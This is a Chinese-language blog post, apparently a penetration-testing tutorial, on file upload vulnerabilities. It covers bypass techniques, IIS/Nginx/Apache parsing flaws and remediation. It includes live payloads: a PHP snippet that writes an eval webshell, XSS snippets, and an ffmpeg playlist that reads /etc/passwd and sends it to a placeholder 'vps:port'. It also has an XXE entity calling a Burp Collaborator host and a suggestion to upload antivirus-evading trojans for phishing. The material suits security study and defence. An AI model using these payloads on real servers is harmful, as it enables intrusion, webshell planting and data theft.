文件上传漏洞

文件上传漏洞

 

 

漏洞简介

​   文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。​ 网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。​ 恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等。

漏洞挖掘

  1.   常见文件上传点
    上传头像
    上传相册
    上传附件
    添加文章图片
    前台留言资料上传
    编辑器文件上传
    文件管理处文件上传
    前台用户发表文章处文件上传
  2. 文件上传漏洞条件

    上传的文件能被Web服务器当做脚本来执行(要想让上传文件被当成脚本执行,我们经常会和文件包含漏洞和文件解析漏洞一起利用)

    我们能够访问到上传文件的路径。我们需要根据经验和方法去寻找上传文件的路径,例如查看返回包,盲猜等。

文件上传绕过

我们都知道上传点一般都是做了过滤的,不可能一下子就成功上传脚本文件,我们还需要掌握一些绕过的技巧。

  1. 后端黑名单验证后缀绕过
    PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
    ASP:asa、cer、cdx
    ASPX:ascx、ashx、asac、asmx
    JSP:jsp、jspx、jspf
  2. 前端黑、白名单验证绕过
    这种最简单,直接burp抓包,修改数据包里面后缀就行了。
  3. 后端白名单验证绕过
    00截断(%00和0x00)

  4. 绕过的类型
    Content-Type绕过
    前端绕过
    文件解析
    规则绕过(如.htaccess、.user.ini)

    Windows环境特性绕过(空格绕过,加在文件名后面;大小写;文件后缀名最后一个点.会被自动去除;如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析;)
    文件名大小写绕过(Linux大小写敏感,windows不敏感)
    双写绕过
    点空格绕过(.和空格)
    文件头绕过(GIF89a)
    图片马+文件包含(copy 1.jpg/a + 1.txt/b 2.jpg)
    条件竞争绕过(有的网站是先上传再判断,所以在判断前就对上传的文件进行请求)......

解析漏洞

  1. IIS5.0、6.0解析漏洞

    1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如如下:
    漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。
    xx.jpg的内容可以为一段合法的asp脚本文件。
    
    2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp
    漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
    xx.jpg的内容可以为一段合法的asp脚本文件。

    对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。

  2. Nginx解析漏洞
    ​ 在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。

    ​ 在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为: <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。



  3. Apache解析漏洞

    ​ Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

    www.xxxx.com/apache.php.bbb.aaa
    

    Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。





 

 

文件上传利用手段

  1. 上传webshell。如asp、aspx、jsp、php后缀的网站脚本文件,通过访问上传的webshell执行系统命令,获取服务器权限。
  2. 上传HTML文件。构成xss。如:<script>alert('XSS')</script>。
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  3. 上传PDF文件。利用方式:构造xss或url跳转的pdf文件上传
    新建一个空白页,在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框。

    在弹出的对话框中输入代码:app.alert('XSS');  保存上传到网站上,使用浏览器访问成功执行了xss代码。

  4. exe文件。利用方式:上传exe到目标网站用于文件钓鱼
    制作免杀exe cs木马,上传到目标网站,通过社工手段进行文件钓鱼。
  5. mp4、avi文件
    利用方式:目标使用了ffmpeg有漏洞版本,上传mp4/avi进行文件读取/SSRF
    内容保存成test.avi,上传到被攻击服务器。
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    concat:http://vps:port/header.m3u8|file:///etc/passwd
    #EXT-X-ENDLIST
    

      保存成header.m3u8,上传到公网vps

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:,
    http://vps:port?

    访问上传的avi文件,vps接收到访问日志

  6. shtml文件
    利用方式:如果目标服务器开启了SSI与CGI支持,可以上传shtml文件,执行ssi命令。
    搭建测试环境:
    打开apache的配置文件httpd.conf。找到 LoadModule ssl_module modules/mod_ssl.so 命令,去掉注释。
    去掉
    AddType text/html .shtml
    AddOutputFilter INCLUDES .shtml
    的注释。
    Indexes 或FollowSymLinks修改为:
    Options +Indexes +FollowSymLinks +ExecCGI +Includes +IncludesNOEXEC
    修改vhosts文件 增加Includes。
    重启apache,上传shtml文件。
    成功执行了ssi命令。
  7. xlsx文件

    利用方式:当遇到接受Excel文件进行上传和处理的目标应用程序,则可能存在xxe漏洞。
    原理:现代Excel文件实际上只是XML文档的zip文件,称为Office Open XML格式或OOXML。
    当应用程序处理上传的xlsx文件时需要解析XML,如果解析器未做安全配置,则可能导致xxe漏洞。
    创建一个xlsx文档,更改后缀为zip,使用压缩工具解压缩。
    打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板。
    找到Content_Types.xml文件,插入xxe代码到文件中。

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net"> ]>
<x>&xxe;</x>

      重新压缩为zip文件,更改后缀为xlsx。
     上传xlsx文档到目标服务器,如果没有禁用外部实体,就会存在XXE漏洞,burp接收到请求。

 

漏洞修复:

  1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等。
  2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等。
  3. 如果是使用WEB中间件存在上传,或者是CMS存在文件上传漏洞,根据官方建议安装补丁升级版本,或者使用官方推荐的临时修改策略来限制问题的产生和利用。
  4.  服务器端上传目录设置不可执行权限。
  5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名。

参考链接:

https://github.com/hongriSec/Web-Security-Attack/blob/master/Part1/Day5/files/README.md

https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247484127&idx=1&sn=4472fdd8fc26aa94205c77e5234234b0&chksm=eaad82e2ddda0bf4a26406b0dd4e332d1bc9837b2dbe1ead1cb8b2c02b7aa607cb5a7961f9a7&scene=21#wechat_redirect

https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247488917&idx=1&sn=f29da91a278595afd7cce678af53dae2&chksm=ce5e37f4f929bee2e5ae99711e3b3665ec69f674ddcad69b51989d43a5e819fd212d6aa7955e&scene=126&sessionid=1599642188&key=e3bce42fc7df434457579b2e8dfdab14bb7e053f9b7cce88efdaa20dac08c19be6b00f985617d608067cce5b114fa3c3c411194634f1d6c9b89e9a51e7da460193f2a7adcf09f8354dba7cb1eca4892a4296e578b20298ae2ec553aad2580beb89637474c0bf7810216534fe6233688176085e7eb7155369e6be15ae48c9ed0b&ascene=1&uin=MTUzOTg2MzkzMw%3D%3D&devicetype=Windows+10+x64&version=62090538&lang=zh_CN&exportkey=AR%2Fmpyod7EChaxCuq%2B7Hj%2F0%3D&pass_ticket=DoaAqpqf50A4me6WFhz%2F7mhEWw3P5y4KjqmKrHarWi8wly4ZCZYnxzXblCfl4fiI&wx_header=0

posted @ 2020-09-11 17:01  Ca1m  阅读(910)  评论(0编辑  收藏  举报